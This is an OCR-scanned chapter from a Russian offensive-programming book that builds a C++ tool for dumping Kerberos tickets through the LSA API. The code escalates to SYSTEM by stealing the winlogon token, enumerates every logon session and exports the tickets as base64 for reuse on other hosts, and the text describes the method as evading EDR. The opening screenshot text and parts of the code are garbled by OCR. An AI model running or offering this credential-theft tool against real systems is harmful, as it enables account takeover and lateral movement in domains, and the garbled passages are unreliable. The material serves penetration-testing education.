HOtl к-icтc.м~Al'lrprn. ..
U9МI ~ n p o r , - .......
lt6tl Ww;iaw,Nttnegtн.lptr
236tlAl"l~.-r-мoronpwlO ...
l72kl jglriutlityOU.
....
208 tl
_
~
Cllt!ltSn.td~..
1,0,.-п..т~~
nkl~N'1Нo8
DIOfl'kltlO,..
7Мtl
2,&2.ЧI
O:ltl":JmOOOO
МIO'U8lllt~DSSW0 ...
~OlredlЛ~
Юf'Audl№I
00-,.~EFS
91tl EFSEXТ.DU.
104111 t.sAD18Мionl«EfS
tOlklC,IIJ)IIN~
OIOffl111"0...
O x l ~..
ооtt'МИ!О...
. ...
C1yptogra,hk:S..-W..l'fcмdtr ...
40U DSs.ta,p~OU
O!Ofll7'!00...
0-at'IМ42dl0. ..
OOfl'lmIO...
11276
v
o.otrtlOЭIO...
lh:7fl'МWOOOO
OIOfl'tlO:МO. ..
448/5
Nkl
Utl
61kl
IJ6klO..OWOfn'oМlollS«DU.
Oliplf'М.dl
1 ,)МI
W-•--~•Wlndows. ..
,~-..т,Wlradowl.
..
WllмrreulUIINIIТtWlndoWL ..
l12tl ~ - - ~ O I C
I04tl
-
~ServiuHuЬ.Нcкt.n_
CP\IUwg.:1.81"
Phys5ulmemo,y.13,2.G8(◄ 1.SS'I.}
Рrосюк1S2
Рис.
9.1.
Подгруженная
х
Commenl
Sllt DucnptiDfl
IOltl ~ ~ I I I I A I '...
«lkl 04ltlPrtit«llonN'I'
2t2klOPAP1s«wr
qi:s ACIIWDir«:tкwyDomм,S.МC. ..
--
Ollktndн.twoft
tt6 kl Cry,ta~ReltttdAPt
460kt A l ' f ~ ~ " - P o r t
~ 1 1.О ...
dptpltrv,dl
d188r1Ldl
&00.cl
~dl
fl4rtmory [IIW'Or'llnlt'I . . . . . S11W)f1 l,,v
~
Ь1ff'lll11ftl000
dn/18,dl
6516
G/UIWir~ь:f:
AquaSмp.D.emon.e:xe
Clia551fcll'ЬOOO
d!N,pi.cll
1412
v
OIOfl'I.М.O. ..
0!(1"3fodO(IOO
dм,Ь}.сl
13396
..
OJQff9971140...
OX1ff't74IМOO
aypttp.dl
~12S2 ./ill.S
C__21'91.Jt..S
1,04k8/s
В4М
1092
168
1360
lнledclr"
~dl
CJ)'lltntc.dl
toUII r_
floloduмl
kerberos.dll
□ LsaCallAuthenticationPackage (https:/Лearn.microsoft.com/en-us/windows/win32/api/
ntseca pi/nf-n tsecapi-lsacalla uthentica tion package).
Да, дамп будет выполнен без всякой магии, стандартными, легитимными вызовами
API.
Я помню, как однажды услышал, будто дамп тикетов осуществляется путем
чтения, а затем парсинrа памяти
LSASS.
Так вот, друзья мои, ни
Rubeus (https://
Mimikatz
github.com/GhostPack/Rubeus/ЫoЬ/master/Rubeus/liЫLSA.cs#L221), ни
(https://github.com/gentilkiwi/mimikatz/ЫoЬ/master/mimikatz/modules/kerberos/ku
hl_m_kerberos.c#L197)
так не делают. Оба инструмента дампят точно так же, с по
мощью тех же самых апишек.
Итоговый результат получился более чем крышесносный. Если у нас есть права
локального администратора, то мы выгрузим абсолютно все тикеты из системы
(рис.
9.2).
А если прав администратора нет, то сможем получить лишь тикеты из сеанса входа
текущего пользователя (рис.
9.3).
Итак, приступим к написанию инструмента.
Начало работы
При взаимодействии по протоколу
используется АР
Kerberos.
Kerberos
KDC
или службой
Внутри его кеша будут храниться все сессионные клю
чи, а также полученные пользователем
Kerberos
между клиентом и
TGT-
и ТGS-билеты. Но каким образом АР
понимает, что этот тикет принадлежит такому-то пользователю, а этот
-
Глава
9.
Как дампить тикеты
Рис.
Kerberos
9.2. Дамп
на С++
тикетов от лица привилегированной УЗ
151
Часть
152
Рис.
9.3.
11.
Системное программирование для хакеров
Тикеты текущего пользователя
другому? Здесь в игру вступают
сии. Мы
LUID. LUID - некий идентификатор текущей
можем увидеть текущий LUID с помощью команды klist (рис. 9.4).
Для успешного дампа тикетов других пользователей нам нужно знать их
речислить
LUID
LUID.
сес
Пе
можно с помощью LsaGetLogonSessionData (). Подробнее эту функцию
Рис.
9.4.
Текущий
LUID
Ох3е121
Глава
9.
153
Как дампить тикеты KerЬeros на С++
мы рассмотрим чуточку позже, но отмечу, что если мы не имеем прав администра
тора, то никто не даст нам сдампить чужие тикеты, поэтому подобная разведка
может оказаться бессмысленной.
Во-первых, я предлагаю создать заголовочный файл stuff .h, куда мы поместим все
прототипы функций, другие заголовочные файлы и некоторые перечисляемые зна
чения с заделом на будущее.
#pragma once
#define WIN32 NO STATUS
#define SECURITY WIN32
#include <Windows.h>
#include <NTSecAPI.h>
#include <iostream>
#include <sddl.h>
#include <algorithm>
#include <string>
#include <T1Help32.h>
#include <cstring>
#include <cstdlib>
#include <iomanip>
#include <map>
#define DEBUG
#include <locale>
#define NT SUCCESS (Status) ( ( (NTSTATUS) (Status)) >=
О)
#pragma comment (lib, "Secur32.lib")
const PCWCНAR TicketFlagsToStrings[] = {
L"name_canonicalize", L"?", L"ok_as_delegate", 1 • '
L"hw_authent", L"pre_authent", L"initial", L"renewaЫe",
L" invalid", L"postdated", L"may_postdate", L"proxy",
L"proxiaЫe", L" forwarded", L"forwardaЫe", L"reserved",
11?11
f;
const char base64_chars[] =
"AВCDEFGНIJКLМNOPQRSTUVWXYZaЬcdefghijklmnopqrstuvwxyz0123456789+/";
LSA_STRING* create_lsa_string(const char* value);
bool Enгhl(,Privilege (PCWSTR privName, bool еnаЫе);
DWORD ::г,;JPrsonateSystem ();
В001 LsaC )rrnect (PНANDLE LsaHandle) ;
VOID fi ;, tнneT,JТime(const FILETIME* time);
VOID ParseTktFlags(ULONG flags);
DWORD ReceiveLogonlnfo(НANDLE LsaHandle, LUID Logonid, ULONG kerberosAP);
ULONG GetKerberosPackage(НANDLE LsaHandle, LSA_STRING lsastr);
Пока мы не будем углубляться в подробности работы каждой функции -
я рас
скажу о них чуть позже. Мы также добавили массив символов для кодирования
в
Base64. Кодировать тикет в Base64 нужно по той причине, что он представляет
собой бинарные данные, которые невозможно корректно отобразить (рис. 9.5).
154
Часть
11.
Системное программирование для хакеров
?
Средство ои,уал=ции текста
Вы ражение:
х
pKerbRetril!lleResponse-> Ticket. EncodedТicket
Значение:
~, 1(0, 1$ L, I9t, тY,Jб0,J2a,J.0,J• L, 19•·
CRINGE, LABy0 L, 1 9,et~krbtgt•
CRINGE .tAB], Lт0, 1о L, !9t, ,9, LeJ, Lb.;qцe(y"ТJЙ~l'e9alY(31:!б• e
A_Eьl/: :IlBAOUtн6111< 8 e:s4nihAlbl0SЩФRJ,ldll ► бe/lE#КAoly:л-fГ»W?Л:st~p
%&ЬГNKf • S'i!tMs •Q( LgGEIЭ ts • •EТ:sThBI <0-Щ' i!al1111,1НrSV& \--у,о\}
NI-11, V 1»"ы9сТфТ4111~"'$Е
v«•вwo: yf й"•+tйjc IC"бjlh (wt%11!1€"yЪIZ 'r fБ<Ф14ЬП16, Cbls§ <ы/Ьf }рйоН )OZлГfж
%6 l :sS, 'ТL1РгfNJЬ]vя•1тsК1Ыб:sКЧ• кqЪК•и-4., 'LffjM2111I-, •AЭWhlмx,xtaPwr
u~s:ьн!мв1
МбЭ!•Аг l§.,•Minw«b.,f&Byф2s&G/'11eN•lA-9лQOй(: .tьtЙUCNx•Фxt.ш-•
Biчтflжl.lsE*OySA/u,XZBi" Б[YиK 'ЭН• f Эrl LX .&"Ар(7ВИ
-Plltp?tьbк/Pr )0-uzCA0-<1gKe>кб '»1sar
и_«F ыиа+ }ШЭ 0 1' >nlf t. КQ-хJЬ?.. гж
(7s fl~u ! jiS< -IOIЬ°F-,,SSXВtь gjЭ.-JЬnsnsйef-41#gsQ"t • 2n\ • cЫtmnюN' s'w» ◄l,lфEдEJ111l
- ) z5(vi!_n•~я еЕУу; liР-т-JМ{Гк] n"Wq1..11y5Y?ГjЦ)Ol.jьl<ioSPwaZЫCtьТY ll'ЬIDUYi!
[ -grзщ f)@GэJ Кlll}Q#•JЬ-l!iwtl'' 8 jVvr$Щ: В,-Д1Оя#ЗЪ1<...#Е'..~фб"Тl-<ОС011Ьl ► ь
., •нР • Е'""IйQ мn«. <'~:s•(K--ЭPt' jГE"OЬtl. ЙЫЭ ! i!i!Чe, н7ЪI?
lllll•sw' [i!•дУдf)иi с :s: 1'11-s-}
р-$к, lх)АдАУхъ◄i&о
Df-яьV,KcmYщ-Cq~мrтe(Д(TifYo)к_IЪA(:sМiшne1JЦn\LvlJКЭWЧ7stJ1>..yМlbнWOPo@I
wxдypSe"•9xiVЭO:sMgµ. ' g/Ч(tю§t,,-6s,(l~]u,yI1nso.,,.к••z1,1111
.Y*IЦII~
S[Д\CyvnslneAJO~I+so+gГ ► : IKkIO"ANtк"ЪSi<X]fэefъ
L,
Б21 Переносить ело••
Закрыть
Рис.
9.5.
Тикет в исходном виде
Как вы видите, здесь огромное количество непечатаемых символов. Разве что про
сматривается имя домена. Эти данные никак не получится скопировать, вставить на
другой компьютер, а затем внедрить, поэтому применяем кодирование в
Функция для кодирования выглядит вот так:
std: :string base64_encode(coнst 1Jnsigned char* bytes to encode, s1ze t in len)
std: :string 01Jt;
int val = О, valb = -6;
for (size_t i = О; 1 < iп len; ++1) {
1Jnsigned char с= bytes to encode[i];
val = (val << 8) + с;
valb += 8;
while (valb >= 01 {
out.p1Jsh_back(baseE4 chars[ (va1 >> valb) & ОхЗF]);
valb -= 6;
if (valb > -6) 01Jt.p1Jsh back(base64 chars[ 1(val << 8) >> {valb + 81) & ОхЗF]);
while (01Jt.size::
4' с ·t.p1Jsh_back('='I;
ret1Jrn 01Jt;
Base64.
Глава
155
9. Как дампить тикеты КеrЬегоs на С++
Она как раз использует этот самый массив символов. Теперь перейдем в самое на
чало нашего кода, в функцию main:
int main() {
setlocale(LC_ALL, '"');
ShowAwesomeBanner{);
НANDLE
LsaHandle = NOLL;
В001 DumpAllTickets = FALSE;
if (I,saConnect { &LsaHandle)) {
#ifdef DEBOG
std::wcout
«
L"[+] I ' l l dump all tickets"
«
std::endl;
#endif
DumpAllTickets = TROE;
else {
#ifdef DEBOG
std::wcout
«
L"[-] I ' l l dump tickets of current user"
«
std::endl;
#endif
#ifdef DEBOG
std::wcout
«
L"[+] LsaHandle:
"«
(unsigned long)LsaHandle
«
std::endl;
#endif
PLSA_STRING krbname = create_lsa_string("kerberos");
OLONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);
#ifdef DEBOG
std: : wcout
«
L" [ +] Kerberos
АР:
"
«
kerberosAP
«
std: : endl;
#endif
Уж извините меня за такое количество директив для препроцессора. Сначала думал
их убрать, а потом оставил. Если вам не нужно лишнего большого вывода, где ин
струмент будет сообщать обо всем, что он делает с системой, то просто из файла
stuff. h уберите строку #define
DEBOG. Если же потребуется отследить весь поток
вызовов, оставляйте ее.
Итак, первым делом мы ставим локаль, чтобы наш инструмент умел успешно рабо
тать с любыми языками, хоть с русским, хоть с японским, хоть с каппадокийским
диалектом греческого языка. Далее в функции ShowAwesomeBanner 1) мы выводим наш
суперстрашный череп (ведь никакая хакерская тулза не обойдется без него), а затем
наступает этап подключения к
LSA
в функции Lsaconnect ().
Особенности дампа
Наш инструмент замечателен тем, что тикеты будет отдавать сам АР
Kerberos.
Причем этот вариант можно считать достаточно скрытным. Быть может, на каких.
то пентестах вы замечали, что сдампить
LSASS
стандартными средствами не полу
чается, но при этом какой-нибудь RuЬeus. ехе dump успешно отрабатывает. Знаете
почему?
Часть
156
/1.
Системное программирование для хакеров
Проблема закmочается в том, что большинство
EDR
(да и всяких других новомод
ных средств защиты, в рекламу которых вбухивают миллионы долларов) отслежи
вает примитивные функции для получения хендла на процесс lsass. ехе. Например,
хукают тот же OpenProcess () . Всякие более продвинутые варианты используют чуть
большее число вариантов (https://www.mdsec.eo.uk/2022/08/fourteen-ways-to-readthe-pid-for-the-local-security-authority-subsystem-service-lsass/), но этого мало. Мы
будем взаимодействовать не с процессом lsass. ехе, а со службой LSA. Нам не по
надобится получать хендл на процесс, мы получим хендл только на саму службу,
поэтому задетектировать наш инструмент будет чуточку сложнее.
Подключение к
LSA
Чтобы начать взаимодействовать с АР
именно
LSA
Kerberos,
следует подключиться к
LSA,
ведь
управляет всеми пакетами аутентификации. Подключение я вынес
в отдельную функцию Lsaconnect () . Она принимает адрес, который инициализирует
ся валидным хендлом на
//
LSA,
если сможет его получить.
Вызов функции
LsaHandle = NULL;
LsaConnect(&LsaRandle);
НANDLE
//
Функция
LsaHandle)
status = О;
wchar_t username[256];
DWORD usernamesize;
#ifdef DEBUG
GetUserName(username, &usernamesize);
std: :wcout « L" [?] Current user: " << username << std: :endl;
std: :wcout « L" [?] Trying to get system" « std: :endl;
#endif
if (IrnpersonateSystem() != О) {
#ifdef DEBUG
std::wcout « L"[-] Cant get SYSTEМ rights" « std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) 11 !LsaRandle) {
std::wcout « L"[-] LsaConnectUntrusted Err: "« LsaNtStatusToWinError(status) «
std: :endl;
exit(-1);
В001 LsaConnect(PНANDLE
NТSTATUS
return FALSE;
else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzНmO Dumper");
LSA- OPERATIONAL- MODE info;
Глава
9.
Как дампить тикеты KerЬeros на С++
157
#ifdef DEBUG
«
std: :wcout
L" [?] Current user: "
«
username
«
std: :endl;
#endif
status
=
LsaRegisterLogonProcess(krbname, LsaHandle, &info);
if (!NT_SUCCESS(status)
std::wcout
status
«
11
1
LsaHandle) {
L"[-] Cant Register Logon Process"
«
std::endl;
LsaConnectUntrusted(LsaHandle);
=
if (!NTSUCCESS(status)
std: :wcout
«
11
1 LsaHandle)
{
L" [-] LsaConnectUntrusted Err: "
«
LsaNtStatusToWinError (status)
« std: :endl;
exit(-1);
return FALSE;
return TRUE;
Итак, именно в этой функции мы будем проверять, получится ли сдампить тикеты
всех пользователей, либо мы ограничимся только текущим. Сначала получаем имя
пользователя, от лица которого запущен инструмент, после чего дергается функция
ImpersonateSystem (). Она достаточно проста
-
сперва пытается добавить пользовате
лю привилегию SeDebug и Seimpersonate, затем получает хендл на процесс winlogon.exe
(можно заменить любым другим, запущенным от лица системы). Наконец, исполь
зуя этот хендл, функция получает токен процесса winlogon.exe и применяет его к те
кущему потоку, что позволит добиться выполнения кода от лица системы.
DWORD ImpersonateSystem() {
if
(!EnaЫePrivilege(SE_DEBUG_NAМE,
TRUE)) {
#ifdef DEBUG
std: :wcout
« " [ 1]
Error
enaЫing
SeDebugPrivilege"
«
std: :endl;
#endif
return 1;
else {
#ifdef DEBUG
std::wcout
«
"[+] SeDebugPrivilege
EnaЫed"
«
std::endl;
#endif
if
( 1 EnaЬlePrivilege(SE_IMPERSONATE_NAМE,
TRUE)) (
#ifdef DEBUG
std: :wcout
#endif
return 1;
else {
#ifdef DEBUG
« " [ 1]
Error
eпaЫing
SeimpersonatePrivilege"
«
std: :endl;
Часть
158
std::wcout « "[+] SeimpersonatePrivilege
11.
Системное программирование для хакеров
EnaЫed"
« std::endl;
#endif
DWORD systemPID = GetWinlogonPid();
О) (
if (systemPID
#ifdef DEBUG
std: :wcout « " [ 1 ] Error getting PID to Winlogon process" « std: :endl;
#endif
return 1;
procHandle = OpenProcess(PROCESS_QUERY_INFORМATION, FALSE, systemPID);
DWORD dw = О;
dw = : :GetLastError();
if (dw != О) (
#ifdef DEBUG
std::wcout « L"[-] OpenProcess failed: "« dw « std::endl;
#endif
return 1;
НANDLE
НANDLE hSystemTokenHandle;
OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenНandle);
dw = : :GetLastError();
if (dw != О) {
#ifdef DEBUG
std::wcout « L"[-] OpenProcessToken failed: "« dw « std::endl;
#endif
return 1;
newTokenHandle;
DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL, Securityimpersonation,
TokenPrimary, &newTokenНandle);
dw = : :GetLastError();
if (dw 1= О) {
#ifdef DEBUG
std: :wcout « L" [-] DuplicateTokenEx failed: " « dw « std: :endl;
#endif
return 1;
НANDLE
ImpersonateLoggedOnUser(newTokenHandle);
return О;
Функции для работы с токенами мы уже рассматривали в главах
му
не
вижу
смысла
на
них
останавливаться.
4
GetWinlogonPid (1,
и
6,
поэто
используя
Глава
9.
Как дампить тикеты KerЬeros на С++
createтoolhelp32Snapshot
159
(), получает список текущих процессов, а затем пробегается
по ним, чтобы обнаружить процесс с нужным именем, т. е. winlogon.exe.
DWORD GetWinlogonPid() (
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
НANDLE
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
if (_wcsicmp(entry.szExeFile, L"winlogon.exe") ==
О)
return entry.th32ProcessID;
return
О;
Если хотя бы одна из этих операций оборачивается неудачей, то нам будет суждено
сдампить лишь тикеты текущего пользователя. ImpersonateSystem() вернет О, если
успешно получила выполнение кода от лица системы, и
-1,
если что-то пошло не
так. Поэтому добавляем простое условие if.
if (ImpersonateSystem() != О) (
#ifdef DEBUG
std::wcout « L"[-] Cant get SYSTEM rights" « std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) 11 !LsaHandle) {
std: :wcout « L" [-] LsaConnectUntrusted Err: " « LsaNtStatusToWinError(status) «
std: :endl;
exit(-1);
return FALSE;
Начнем с варианта, в котором нам не удалось добиться исполнения кода от лица
системы. В таком случае придется немножко взгрустнуть, получить обычный хендл
на
LSA
и вернуть
FALSE. Получение хендла на LSA через LsaconnectUntrusted () приве
дет к тому, что все «ядерные» возможности дампа чужих тикетов окажутся нам не
доступны.
Мы
будем
считаться,
В дальнейшем этот возвращенный
буквально
FALSE
говоря,
недоверенным
процессом.
проверяется и устанавливается соответ
ствующий флажок, который сигнализирует, возможен дамп тикетов из всех сессий
или нет.
Часть
160
if
11.
Системное программирование для хакеров
(LsaConnect(&Lsaнandle))
std::wcout « L"[+] I'll dump all tickets" « std::endl;
DшnpAllTickets = TRUE;
else {
std::wcout « L"[-] I'll durnp tickets of current user" « std::endl;
Если же нам повезло чуть больше, то теперь наша программа исполняется от лица
системы, поэтому регистрируем процесс входа в систему. Сделать это можно с по
мощью
LsaRegisterLogonProcess (). Указанная функция принимает имя нового процесса
входа, некоторую (не особо важную) дополнительную информацию, а возвращает
«ядерный» хендл на
LSA.
else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzНrnO Dшnper");
LSA- OPERATIONAL- MODE info;
#ifdef DEBUG
std: :wcout « L" [?] Current user: " « username << std: :endl;
#endif
status = LsaRegisterLogonProcess(krbname, Lsaнandle, &info);
if (!NT_SUCCESS(status) 11 !Lsaнandle) (
std: :wcout « L" [-] Cant Register Logon Process" « std: :endl;
status = LsaConnectUntrusted(LsaHandle);
if ( !NT_SUCCESS(status) 11 !Lsaнandle) {
std::wcout « L"[-] LsaConnectUntrusted Err: "« LsaNtStatusToWinError(status)
« std:: endl;
exit(-1);
return FALSE;
return TRUE;
Полученный с помощью функции
LsaRegisterLogonProcess () хендл не имеет никаких
ограничений в плане взаимодействия с
LSA.
Его можно использовать для любых
целей, мы фактически становимся процессом входа, почти как winlogon.exe. Процесс
входа должен иметь свое уникальное имя, чтобы
LSA
ращаться.
в
LSA
воспринимает
строки
только
могла понимать, к кому об
виде
специальной
структуры
LSA_STRING. Для корректной инициализации всех элементов этой структуры я также
сделал специальную функцию:
LSA_STRING* create_lsa_string(const char* value)
{
char* buf = new char[l00];
LSA_STRING* str = (LSA_STRING*)buf;
str->Length = strlen(value);
str->MaxirnumLength = str->Length;
Глава
9.
Как дампить тикеты KerЬeros на С++
161
str->Buffer = buf + sizeof(LSA STRING);
memcpy(str->Buffer, value, str->Length);
return str;
После
создания
имени для
нашего
процесса
входа
пора
наконец-то
вызывать
LsaRegisterLogonProcess (). Обратите внимание, что я не забыл обработать возможную
ошибку, ведь мало ли что может происходить в системе, вдруг LsaRegisterLogonProcess ()
не даст зарегистрировать новый процесс входа. Поэтому, если вызов функции
обернулся ошибкой, мы просто возвращаемся к описанному раньше варианту через
LsaConnectUntrusted (). В таком случае сдам пить все тикеты, само собой, не получится.
С подключением к
LSA
мы закончили. На текущий момент у нас есть только
валидный хендл, но ведь нужно взаимодействовать не с
Kerberos.
LSA,
кации в системе есть свой номер, который присваивает ему
этого самого пакета. По умолчанию на всех системах у АР
мер
2,
а конкретно с АР
Поэтому начинаем получать его айдишник. У каждого пакета аутентифи
LSA в момент загрузки
Kerberos 1D имеет но
но лучше запрашивать этот номер также с помощью специальной функции.
ПолучениеlD
Теперь мы должны обнаружить АР
Kerberos.
Его получение я вынес в отдельную
функцию GetKerberosPackage (). В принципе, эту функцию можно использовать для
получения
1D
любого АР, т. к. она принимает строку, однозначно идентифици
рующую нужный АР.
ULONG GetKerberosPackage(НANDLE LsaHandle, LSA STRING lsastr) {
NTSTATUS status;
ULONG АР= О;
status = LsaLookupAuthenticationPackage(LsaHandle, &lsastr, &АР);
if (АР == О) (
std: :wcout « L" [-] Error LsaLookupAP: " « LsaNtStatusToWinError (status) « std:: endl;
exit (-1);
return
АР;
Ее вызов в программе выглядит вот так:
PLSA_STRING krbname = create_lsa_string("kerberos");
ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);
Здесь все достаточно просто: для получения
1D
пакета аутентификации использует
ся функция LsaLookupAuthenticationPackage (), которая принимает хендл на
LSA,
а также
имя пакета аутентификации. Причем имя должно быть представлено в виде струк
туры
LSA_STRING.
Часть
162
Перечисляем все
11.
Системное программирование для хакеров
LUID
Наконец у нас есть все необходимое: хендл на
Kerberos,
LSA, 1D
пакета аутентификации
желание сдампить тикеты ... Теперь следует перечислить все сеансы входа
в систему, что позволит нам сдампить тикеты других пользователей. В процессе
«подготовки» к дампу мы проверяем, можно ли нам сдампить тикеты всех пользо
вателей (DшnpAllTickets должен иметь значение TRUE, эту переменную мы инициали
зировали еще раньше, когда пытались получить ядерный хендл на
LSA).
Если такая
возможность есть, приступаем к перечислению сеансов входа, в противном случае
дампим тикеты текущей сессии.
if
{
ULONG LogonSessionCount;
PLUID LogonSessionList = NULL;
NTSTATUS status = LsaEnшnerateLogonSessions(&LogonSessionCount, &LogonSessionList);
if (status != О) {
#ifdef DEBUG
std::wcout « L"[-] Cant get info about logon sessions: "«
LsaNtStatusToWinError(status) << std: :endl;
std: :wcout « L" [ 1 ] Getting current user t1ckets" « std: :endl;
#endif
RevertToSelf ();
LsaDeregisterLogonProcess(LsaHandle);
LsaConnectUntrusted(&LsaHandle);
ReceiveLogoninfo(LsaHandle, { 0,0 ), kerberosAP);
(DшnpAllTickets)
PSECURITY_LOGON_SESSION_DATA pLogonSessionData ~
(PSECURITY_LOGON_SESSION_DATA)malloc(sizeof(SECURITY_LOGON_SESSION_DATA));
for (int i = О; i < LogonSessionCount; i++) {
LsaGetLogonSessionData(LogonSess1onList + i, &pLogonSessionData);
SetConsoleTextAttribute(hConsole, FOREGROUND_RED I FOREGROUND_GREEN);
std: :wcout << "------------------------------------------------" << std. :endl;
std: :wcout « "[+] Tickets For: " « pLogonSess1onData->LogonDomain.Buffer «
L"\\" « pLogonSessionData->UserName.Buffer « std: :endl;
LUID Logonid = *(LogonSessionList + i);
std: :wcout « "\tLogonid:\t" « std: :hex « Logonid.HighPart « Logonid.LowPart «
std:: endl;
LPWSTR sidstr;
ConvertSidT0StringSid(pLogonSessionData->S1d, &sidstr);
std: :wcout << "\tUserSID:\t" << sidstr << std: :endl;
std: :wcout « "\tAuthenticationPackage:\t" « pLogonSessionData->
AuthenticationPackage.Buffer << std: :endl;
std: :cout « "\tLogonType:\t" « enшnToString[pLogonSessionData->LogonType] «
std: :endl;
std: :wcout « "\ tLogonTime: \ t"; f ilet1meT0Time 11PFILETIME) &pLogonSes sionData->
LogonTime);
Глава
9.
Как дампить тикеты KerЬeros на С++
163
std: :wcout « "\tLogonServer:\t" « pLogonSessionData->LogonServer.Buffer « std::endl;
std: :wcout « "\tLogonServerDNSDomain:\t" « pLogonSessionData->DnsDomainName.Buffer «
std: :endl;
std: :wcout « "\tUserPrincipalName:\t" « pLogonSessionData->Upn.Buffer « std::endl;
SetConsoleTextAttribute(hConsole, Ох07);
ReceiveLogoninfo(LsaHandle, *(LogonSessionList + i), kerberosAP);
LsaFreeReturnBuffer(LogonSessionList);
else {
ReceiveLogoninfo(LsaHandle, { 0,0 ), kerberosAP); //
дамп тикетов текущей сессии
Здесь мы вызываем функцию LsaEnumerateLogonsessions {), она имеет следующий про
тотип:
NTSTATUS LsaEnumerateLogonSessions(
[out] PULONG LogonSessionCount,
[out] PLUID *LogonSessionList
);
□
LogonsessionCount -
количество сеансов входов в систему. Например, если зашло
два пользователя, то здесь будет число
□ LogonsessionList -
массив значений
2;
LUID,
идентифицирующих сеанс входа в сис-
тему.
Если же получить
LUID
не удалось, то дерегистрируем процесс входа в систему
и возвращаемся к варианту с дампом тикетов только из сессии текущего пользова
теля. Если функция завершилась успешно, выделяем место под структуру SECURITY_
LOGON- SESSION- DATA.
typedef struct _SECURITY_LOGON_SESSION_DATA
Size;
ULONG
Logonid;
LUID
UserName;
LSA- UNICODE- STRING
LogonDomain;
LSA- UNICODE- STRING
AuthenticationPackage;
LSA- UNICODE- STRING
LogonType;
ULONG
Session;
ULONG
Sid;
PSID
LogonTime;
LARGE INTEGER
LSA- UNICODE - STRING
LogonServer;
LSA- UNICODE- STRING
DnsDomainName;
Upn;
STRING
LSA- UNICODE UserFlags;
ULONG
LSA_LAST_INTER_LOGON_INFO LastLogoninfo;
LogonScript;
LSA_UNICODE_STRING
ProfilePath;
LSA- UNICODE - STRING
Часть
164
11.
Системное программирование для хакеров
LSA UNICODE STRING
HomeDirectory;
LSA- UNICODE - STRING
HomeDirectoryDrive;
LARGE INTEGER
LogoffTime;
LARGE INTEGER
KickOffTime;
LARGE INТEGER
PasswordLastSet;
LARGE INТEGER
PasswordCanChange;
LARGE INTEGER
PasswordМustChange;
SECURITY LOGON SESSION DATA, *PSECURITY_LOGON SESSION DATA;
С помощью этой структуры можно извлечь чуть больше информации о конкретном
сеансе входа в систему. Я выделил следующие основные данные:
□ UserName, LogonDomain -
позволяют определить, какому пользователю принадлежит
сеанс входа в систему (чьи тикеты мы дампим);
□
Logonld -
□ userSID -
его
LUID;
SID пользователя;
□ AuthenticationPackage -
АР, используемый для проверки подлинности. Нам под
ходит только Kerberos;
□ LogonType -
в Windows насчитывается 13 различных типов входа в систему, по
этому было бы интересно знать, каким образом залогинился конкретный поль
зователь;
□
LogonTime -
время входа пользователя;
□ LogonServer, LogonServerDNSDomain -
сервер, который провел аутентификацию (под-
твердил, что учетные данные верны). В случае
□ UserPrincipalName -
Kerberos это будет КОС;
UPN пользователя.
Получение этой структуры, а затем парсинг данных реализуется в цикле for, кото
рый итерируется через все полученные ранее LUID'ы сеансов входа.
for (int i = О; i < LogonSessionCount; i++) (
LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData);
SetConsoleTextAttribute(hConsole, FOREGROUND RED I FOREGROUND GREEN);
std: :wcout << "------------------------------------------------" << std .. endl,
std::wcout « "[+] Tickets For: "« pLogonSessionData->LogonDomain.Buffer « L"\\" «
pLogonSessionData->UserName.Buffer << std: :endl;
LUID Logonid = *(LogonSessionList + i);
st.d: :wcout « "\tLogonld:\t" « std: :hex « Logonid.H1ghPart « Logonid.LowPart «
std: :endl;
LPWSTR sidstr;
ConvertSidToStringSid(pLogonSessionData->Sid, &sidstr);
std: :wcout << "\tUserSID:\t" << sidstr << std: :endl;
std: :wcout << "\tAuthenticationPackage:\t" << pLogonSessionData->
AuthenticationPackage.Buffer << std: :endl;
std: :cout « "\tLogonType:\t" « enumT0String[pLogonSess1onData->LogonType] « std: :endl;
std: :wcout « "\tLogonTime: \t"; filetimeToTime ( (PFILETIME) &pLogonSessionData->LogonTime);
std: :wcout « "\tLogonServer:\t" « pLogonSessionData->LogonServer.Buffer « std: :endl;
Глава
9.
Как дампить тикеты KerЬeros на С++
165
std: :wcout « "\tLogonServerDNSDomain:\t" « pLogonSessionData->DnsDomainName.Buffer «
std: :endl;
std: :wcout « "\tlJserPrincipalName:\t" « pLogonSessionData->lJpn.Buffer « std: :endl;
SetConsoleTextAttribute(hConsole, Ох07);
ReceiveLogoninfo(LsaHandle, *(LogonSessionList + i), kerberosAP);
Следует помнить, что
SID хранится в системе далеко не в виде понятной строки
s-1-s-з-xxx. Чтобы превратить его в удобочитаемое значение, используется функция
ConvertSidToStringSid ( 1, которая принимает SID в виде одноименной структуры, а
возвращает строку. LogonType также идентифицируется конкретным 1D, поэтому мы
просто создаем словарь «ключ
-
значение»,
из
которого по ключу получаем тип
входа.
std: ;map<int, std: :string> enumToString = {
{lJndefinedLogonType, "lJndefinedLogonType"),
{Interacti ve, "Interacti ve"),
{Network, "Network"),
{Batch, "Batch"),
{Service, "Service"),
{Proxy, "Proxy"},
{lJnlock, "lJnlock"),
{NetworkCleartext, "NetworkCleartext"},
{NewCredentials, "NewCredentials"},
{Remoteinteractive, "Remoteinteractive"},
{Cachedinteractive, "Cachedinteractive"),
{CachedRemoteinteractive, "CachedRemoteinteractive"},
(CachedlJnlock, "CachedUnlock")
);
Еще одна особенность
-
время. Функция возвращает время в виде структуры
FILETIME.
typedef struct. FILEТIME
DWORD dwLowDateTime;
DWORD dwHighDateTime;
FILETIME, *PFILETIME, *LPFILETIME;
Чтобы это добро преобразовать в обычное «человеческое» время, добавим функ
цию
filetimeToTime:
VOID filetimeToTime (const FILETIME* time) {
SYSTEMTIME st;
FileTimeToSystemTime(time, &st);
